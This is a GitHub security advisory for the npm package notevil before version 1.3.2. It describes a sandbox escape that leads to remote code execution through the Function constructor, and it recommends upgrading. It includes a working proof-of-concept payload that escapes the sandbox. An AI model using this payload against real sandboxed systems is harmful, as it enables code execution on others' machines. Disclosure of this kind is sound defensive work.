OSV 1.4.0 · github-reviewed · 修改于 2020-09-01 02:47
发布时间
2020-09-04 03:03
GitHub 审查时间
2020-09-01 02:47
NVD 发布时间
—
源文件
advisories/github-reviewed/2020/09/GHSA-7r5f-7qr4-pf6q/GHSA-7r5f-7qr4-pf6q.json
Versions of notevil prior to 1.3.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to prevent access to the Function constructor by not checking the return values of function calls. This allows attackers to access the Function prototype's constructor leading to the Sandbox Escape. An example payload is:
var safeEval = require('notevil')
var input = "" +
"function fn() {};" +
"var constructorProperty = Object.getOwnPropertyDescriptors(fn.__proto__).constructor;" +
"var properties = Object.values(constructorProperty);" +
"properties.pop();" +
"properties.pop();" +
"properties.pop();" +
"var Function = properties.pop();" +
"(Function('return this'))()";
safeEval(input)```
## Recommendation
Upgrade to version 1.3.2 or later.